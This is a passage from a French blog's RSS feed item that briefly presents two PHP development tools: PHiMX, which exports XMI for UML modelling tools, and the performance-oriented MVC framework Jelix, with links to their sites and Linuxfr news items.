<p>Le fichier XMI produit sera alors utilisable par les outils courants de modélisation UML. Pour ne citer que les libres et gratuits : Umbrello, BOUML, et StarUML.</p>
<ul>
<li><a href="http://phimx.sourceforge.net/" target="_blank">Site officiel de PHiMX</a></li>
<li><a href="http://www.aquitaine-libre.fr/phimx-doc/index.php" target="_blank">Manuel en Français</a></li>
<li><a href="http://linuxfr.org/2008/01/02/23525.html" target="_blank">Source : La dépèche sur Linuxfr.org</a></li>
</ul>
<p>Le deuxième, baptisé Jelix,  est en fait un framework conçu pour PHP &gt;= 5.2. Ce framework respecte l&rsquo;architecture Modèle &#8211; Vue &#8211; Contrôleur, supporte les templates, implémente la correspondance directe entre les objets et les tables d&rsquo;une base de données relationnelle, et contient entre autres un générateur de formulaires automatique à partir d&rsquo;un fichier XML. Mais sa spécifié la plus intéressante (à mes yeux) est qu&rsquo;il est très rapide car volontairement axé sur l&rsquo;optimisation des performances. La version Gold contient à cet effet une extension PHP spécialement concue pour augmenter encore la rapidité de l&rsquo;application. En fait, il est disponible en 3 versions plus ou moins optimisées, toutes sous LGPL. Le site officiel, en Français, contient entre autre une FAQ, une présentation du framework ainsi qu&rsquo;un mini tutoriel pour apprendre à s&rsquo;en servir.</p>
<ul>
<li><a href="http://jelix.org/articles/presentation" target="_blank">Présentation de Jelix sur le site officiel</a></li>
<li><a href="http://linuxfr.org/2008/01/10/23555.html" target="_blank">Source : La dépèche sur Linuxfr.org</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/dev-web/deux-outils-pour-faciliter-le-developpement-en-php5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
